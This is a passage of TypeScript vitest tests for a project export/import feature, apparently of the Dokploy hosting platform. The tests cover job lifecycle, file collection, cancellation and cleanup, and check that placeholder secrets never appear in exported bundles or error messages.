includeBackupSchedules: true,
};
const waitForStatus = async (
exportId: string,
target: "done" | "error",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getExportJob(exportId);
if (job?.status === target || job?.status === "error") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 20));
}
throw new Error(
`Timed out waiting for export ${exportId} to reach ${target}`,
);
};
describe("runExport", () => {
it("produces a downloadable bundle for an (empty) project and issues a download token", async () => {
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.bundle?.path).toBeDefined();
expect(existsSync(job?.bundle?.path as string)).toBe(true);
expect(job?.downloadToken).toBeDefined();
expect(job?.size).toBeGreaterThan(0);
});
it("attaches dump warnings to the finished job when an embedded dump fails", async () => {
const tree = {
...emptyProjectTree,
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
compose: [],
postgres: [
{
postgresId: "pg-1",
name: "pg",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
mounts: [],
},
],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
},
],
};
const db = {
query: {
projects: { findFirst: async () => tree },
environments: { findFirst: async () => undefined },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
applications: {
findMany: async () => [],
findFirst: async () => undefined,
},
},
} as any as TransferDb;
const { exportId } = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db,
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const job = await waitForStatus(exportId, "done");
expect(job?.status).toBe("done");
expect(job?.warnings?.map((warning) => warning.code)).toEqual([
"DUMP_FAILED",
]);
expect(job?.message).toMatch(/^Export complete with 1 warning\(s\)/);
});
it("gives two concurrent exports independent exportIds and workDirs", async () => {
const first = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
const second = runExport(
{
source: { kind: "project", id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
},
{
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
},
);
expect(first.exportId).not.toBe(second.exportId);
const [job1, job2] = await Promise.all([
waitForStatus(first.exportId, "done"),
waitForStatus(second.exportId, "done"),
]);
expect(job1?.bundle?.path).not.toBe(job2?.bundle?.path);
expect(existsSync(job1?.bundle?.path as string)).toBe(true);
expect(existsSync(job2?.bundle?.path as string)).toBe(true);
});
});
describe("runExportBatch", () => {
it("runs the exports one after another and finishes every job", async () => {
const ctx = {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
};
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], ctx);
expect(exportIds).toHaveLength(2);
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(first?.bundle?.path).not.toBe(second?.bundle?.path);
expect(existsSync(first?.bundle?.path as string)).toBe(true);
expect(existsSync(second?.bundle?.path as string)).toBe(true);
}, 30_000);
it("restarts each job's TTL when it finishes, not when the batch was queued", async () => {
const input = {
source: { kind: "project" as const, id: "project-1" },
scope: baseScope,
passphrase: "correct-horse-battery-staple",
};
const { exportIds } = runExportBatch([input, input], {
db: fakeDb(),
userId: "user-1",
userEmail: "a@b.com",
organizationId: "org-1",
dokployVersion: "1.0.0-test",
pathsFn: fakePaths as any,
});
const queuedAt = getExportJob(exportIds[1] as string)?.createdAt as number;
const first = await waitForStatus(exportIds[0] as string, "done");
const second = await waitForStatus(exportIds[1] as string, "done");
expect(second?.createdAt).toBeGreaterThan(queuedAt);
expect(second?.createdAt).toBeGreaterThanOrEqual(
first?.createdAt as number,
);
}, 30_000);
});
describe("cancelExport (T-6.7)", () => {
it("refuses to cancel while the export is actually running", async () => {
const job = createExportJob("cancel-running-1", "user-1", "org-1");
job.status = "dumping";
await expect(cancelExport("cancel-running-1")).rejects.toThrow(TRPCError);
expect(getExportJob("cancel-running-1")?.status).toBe("dumping");
});
it("allows cancelling once the export has reached a terminal status", async () => {
const job = createExportJob("cancel-done-1", "user-1", "org-1");
job.status = "done";
await cancelExport("cancel-done-1");
expect(getExportJob("cancel-done-1")).toBeUndefined();
});
});
describe("cleanupExpiredExports", () => {
it("deletes expired jobs and their bundle files", async () => {
const job = createExportJob("expired-1", "user-1", "org-1");
const bundlePath = join(root, "expired-1.dokploy.tar.gz");
await writeFile(bundlePath, "fake bundle");
job.workspace = { serverId: null, path: join(root, "expired-1") };
job.bundle = { serverId: null, path: bundlePath };
job.status = "done";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("expired-1");
expect(getExportJob("expired-1")).toBeUndefined();
expect(existsSync(bundlePath)).toBe(false);
});
it("leaves fresh jobs untouched", async () => {
createExportJob("fresh-1", "user-1", "org-1");
const expired = await cleanupExpiredExports(Date.now());
expect(expired.map((j) => j.exportId)).not.toContain("fresh-1");
expect(getExportJob("fresh-1")).toBeDefined();
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
const job = createExportJob("active-past-ttl-1", "user-1", "org-1");
job.status = "dumping";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).not.toContain("active-past-ttl-1");
expect(getExportJob("active-past-ttl-1")).toBeDefined();
});
it("does clean up a terminal-status job once it's past the TTL", async () => {
const job = createExportJob("terminal-past-ttl-1", "user-1", "org-1");
job.status = "error";
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredExports(farFuture);
expect(expired.map((j) => j.exportId)).toContain("terminal-past-ttl-1");
expect(getExportJob("terminal-past-ttl-1")).toBeUndefined();
});
});
@@ -0,0 +1,276 @@
import { mkdtemp, readdir, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join, relative } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
manifestSchema,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const SECRET_VALUES = [
"hunter2-vault-secret-placeholder",
"realdbpassword123",
"registrypassword456",
"basicauthpassword789",
];
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token-should-never-appear",
registryId: "registry-1",
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [
{
securityId: "sec-1",
username: "admin",
password: "basicauthpassword789",
createdAt: "2024-01-01",
},
],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
},
],
findFirst: async () => ({
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
password: "registrypassword456",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const walkFiles = async (dir: string, base = dir): Promise<string[]> => {
const entries = await readdir(dir, { withFileTypes: true });
const files: string[] = [];
for (const entry of entries) {
const full = join(dir, entry.name);
if (entry.isDirectory()) {
files.push(...(await walkFiles(full, base)));
} else {
files.push(relative(base, full));
}
}
return files;
};
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-export-integration-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("export integration: capture -> serialize", () => {
it("produces a valid, checksummed, secret-free bundle from a realistic project", async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
expect(captureResult.requirements.some((r) => r.kind === "vault")).toBe(
true,
);
expect(captureResult.requirements.some((r) => r.kind === "registry")).toBe(
true,
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
const extractDir = join(outDir, "extracted");
await execAsync(
`mkdir -p "${extractDir}" && tar -xzf "${bundlePath}" -C "${extractDir}"`,
);
const manifestRaw = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const manifestResult = manifestSchema.safeParse(manifestRaw);
expect(manifestResult.success).toBe(true);
const relativeFiles = await walkFiles(extractDir);
expect(relativeFiles.sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const inventory = JSON.parse(
await readFile(join(extractDir, "inventory.json"), "utf8"),
);
expect(inventory.totals.application).toBe(1);
expect(inventory.totals.postgres).toBe(1);
const requirements = JSON.parse(
await readFile(join(extractDir, "requirements.json"), "utf8"),
);
expect(Array.isArray(requirements)).toBe(true);
expect(requirements.length).toBeGreaterThan(0);
for (const relativePath of relativeFiles) {
const bytes = await readFile(join(extractDir, relativePath));
for (const secret of SECRET_VALUES) {
expect(bytes.includes(secret)).toBe(false);
}
expect(bytes.includes("webhook-token-should-never-appear")).toBe(false);
}
});
});
@@ -0,0 +1,414 @@
import { existsSync, readFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
Requirement,
} from "@dokploy/server/services/project-export-import";
import { collectFiles } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const { failPullBox } = vi.hoisted(() => ({
failPullBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string, options?: unknown) => {
if (failPullBox.value && command.includes("tar -czf")) {
const { ExecError } = await import(
"@dokploy/server/utils/process/ExecError"
);
throw new ExecError(`Command failed: ${command}`, {
command,
stderr: "no such file or directory",
exitCode: 1,
});
}
return actual.execAsync(command, options as undefined);
}),
};
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
postgres: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
compose: [],
...emptyServiceArrays,
},
],
});
describe("collectFiles / application sources", () => {
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(join(appDir, ".git"), { recursive: true });
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-one");
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
expect(existsSync(join(dest, ".git"))).toBe(false);
expect(existsSync(join(dest, "node_modules"))).toBe(false);
expect(existsSync(join(dest, "code"))).toBe(false);
});
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
const appDir = join(root, "applications", "app-drop");
await mkdir(join(appDir, "code"), { recursive: true });
await writeFile(join(appDir, "code", "main.go"), "package main");
const tree = buildTree({
applicationId: "app-drop",
appName: "app-drop",
serverId: null,
sourceType: "drop",
domains: [],
});
await collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
});
const dest = join(workDir, "files", "applications", "app-drop");
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
});
it("does nothing when applicationSources is excluded from scope", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "github",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: { ...baseScope.files, applicationSources: false },
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
false,
);
});
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "does-not-exist",
serverId: null,
sourceType: "docker",
domains: [],
});
await expect(
collectFiles(tree as any, baseScope, [], local(workDir), {
pathsFn: fakePaths as any,
}),
).resolves.toEqual({ warnings: [] });
});
});
describe("collectFiles / traefik raw", () => {
it("collects only the application's own dynamic yml file", async () => {
await mkdir(join(root, "applications", "app-one"), { recursive: true });
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
await writeFile(
join(root, "traefik", "dynamic", "app-one.yml"),
"http:\n routers: {}",
);
await writeFile(
join(root, "traefik", "dynamic", "app-two.yml"),
"http:\n routers: unrelated",
);
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(workDir, "files", "traefik", "app-one.yml");
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
false,
);
});
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: true,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(existsSync(join(workDir, "files"))).toBe(false);
});
});
describe("collectFiles / custom certificates (T-6.18)", () => {
const emptyTree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
await mkdir(certDir, { recursive: true });
await writeFile(join(certDir, "cert.pem"), "local cert contents");
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-1",
configIncluded: false,
usedBy: [],
fingerprint: "abc123",
serverId: null,
};
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any },
);
const collected = join(
workDir,
"files",
"certificates",
"cert-1",
"cert.pem",
);
expect(existsSync(collected)).toBe(true);
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
});
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
const certRequirement: Requirement = {
kind: "certificate",
originalId: "cert-2",
configIncluded: false,
usedBy: [],
fingerprint: "def456",
serverId: "server-1",
};
const messages: string[] = [];
await collectFiles(
emptyTree as any,
{
...baseScope,
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: true,
},
},
[certRequirement],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
expect(
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
).toBe(false);
});
});
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
afterEach(() => {
failPullBox.value = false;
});
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
const appDir = join(root, "applications", "app-one");
await mkdir(appDir, { recursive: true });
await writeFile(join(appDir, "Dockerfile"), "FROM node");
failPullBox.value = true;
const tree = buildTree({
applicationId: "app-1",
appName: "app-one",
serverId: null,
sourceType: "docker",
domains: [],
});
const messages: string[] = [];
const { warnings } = await collectFiles(
tree as any,
{
...baseScope,
files: {
applicationSources: true,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
},
[],
local(workDir),
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
);
expect(messages).toHaveLength(1);
expect(messages[0]).toContain("exit code 1");
expect(messages[0]).toContain("no such file or directory");
expect(messages[0]).not.toContain("tar -czf");
expect(existsSync(join(workDir, "files"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
expect(warnings[0]?.message).toBe(messages[0]);
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "app-1" }),
);
});
});
@@ -0,0 +1,83 @@
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
const execError = (command: string) =>
new ExecError(`Command execution failed: Command failed: ${command}`, {
command,
stderr: "NoSuchKey: The specified key does not exist",
exitCode: 1,
});
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
downloadBundleFromDestination: vi.fn(async () => {
throw execError(
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
);
}),
listBundlesUnderPrefix: vi.fn(async () => {
throw execError(
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
);
}),
};
},
);
vi.mock("@dokploy/server/db", () => ({
db: {
query: {
destinations: {
findFirst: vi.fn(async () => ({
destinationId: "destination-1",
organizationId: "org-1",
bucket: "mybucket",
})),
},
},
},
}));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string) =>
({
session: { activeOrganizationId: organizationId },
user: { id: "user-1", email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importFromDestination({
destinationId: "destination-1",
key: "key.tar.gz",
}),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.listRemoteBundles({ destinationId: "destination-1" }),
).rejects.toSatisfy((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
expect(message).not.toContain("realsecretkey789");
return true;
});
});
});
@@ -0,0 +1,282 @@
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferWriteDb,
} from "@dokploy/server/services/project-export-import";
import {
cancelImport,
cleanupExpiredImports,
createImportJob,
getImportJob,
runImport,
updateImportJob,
} from "@dokploy/server/services/project-export-import";
import { TRPCError } from "@trpc/server";
import { afterEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [],
services: [],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: {},
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const waitForStatus = async (
importId: string,
target: "done" | "failed",
timeoutMs = 5000,
) => {
const start = Date.now();
while (Date.now() - start < timeoutMs) {
const job = getImportJob(importId);
if (job?.status === target || job?.status === "failed") {
return job;
}
await new Promise((resolve) => setTimeout(resolve, 10));
}
throw new Error(
`Timed out waiting for import ${importId} to reach ${target}`,
);
};
describe("runImport", () => {
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
const importId = "import-fail-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map(),
workDir: local("/tmp/does-not-matter"),
});
const failingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
},
insert: () => {
throw new Error("insert should never be called");
},
update: () => {
throw new Error("update should never be called");
},
transaction: async () => {
throw new Error("Simulated apply failure");
},
} as any as TransferWriteDb;
runImport(importId, { db: failingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.result).toBeUndefined();
expect(job?.partial).toBeFalsy();
expect(job?.error).toContain("Simulated apply failure");
});
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
const importId = "import-clear-secrets-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, {
snapshot,
plan,
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
workDir: local("/tmp/does-not-matter"),
});
const workingDb = {
query: {
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
certificates: { findFirst: async () => undefined },
},
insert: () => ({
values: (values: Record<string, unknown>) => ({
returning: async () => [{ ...values, projectId: "new-project-1" }],
}),
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
fn({ ...workingDb }),
} as any as TransferWriteDb;
runImport(importId, { db: workingDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "done");
expect(job?.status).toBe("done");
expect(job?.secretsPlain).toBeUndefined();
expect(job?.snapshot).toBeUndefined();
});
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
const importId = "import-missing-1";
createImportJob(importId, "user-1", "org-dest");
const unusedDb = {
query: {},
insert: () => {
throw new Error("should never be called");
},
update: () => {
throw new Error("should never be called");
},
transaction: async () => {
throw new Error("should never be called");
},
} as any as TransferWriteDb;
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
const job = await waitForStatus(importId, "failed");
expect(job?.status).toBe("failed");
expect(job?.error).toMatch(/inspect, unlock and plan/i);
});
});
describe("cancelImport (T-4.2)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
const importId = "import-cancel-1";
const jobDir = join(root, importId);
const workDir = join(jobDir, "extracted");
await mkdir(workDir, { recursive: true });
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
await writeFile(join(workDir, "manifest.json"), "{}");
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
await cancelImport(importId);
await expect(readdir(jobDir)).rejects.toThrow();
expect(getImportJob(importId)).toBeUndefined();
});
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
const importId = "import-cancel-running-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
expect(getImportJob(importId)?.status).toBe("restoring");
await expect(readdir(jobDir)).resolves.toEqual([]);
});
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
const importId = "import-cancel-idle-1";
const jobDir = join(root, importId);
await mkdir(jobDir, { recursive: true });
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { root: local(jobDir), status: "planned" });
await cancelImport(importId);
expect(getImportJob(importId)).toBeUndefined();
});
});
describe("cleanupExpiredImports (T-5.10)", () => {
let root: string;
afterEach(async () => {
if (root) {
await rm(root, { recursive: true, force: true });
}
});
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
const importId = "active-past-ttl-1";
createImportJob(importId, "user-1", "org-dest");
updateImportJob(importId, { status: "restoring" });
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
const expired = await cleanupExpiredImports(farFuture);
expect(expired.map((j) => j.importId)).not.toContain(importId);
expect(getImportJob(importId)).toBeDefined();
});
it("cleans up a terminal-status job once it's past the TTL", async () => {
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
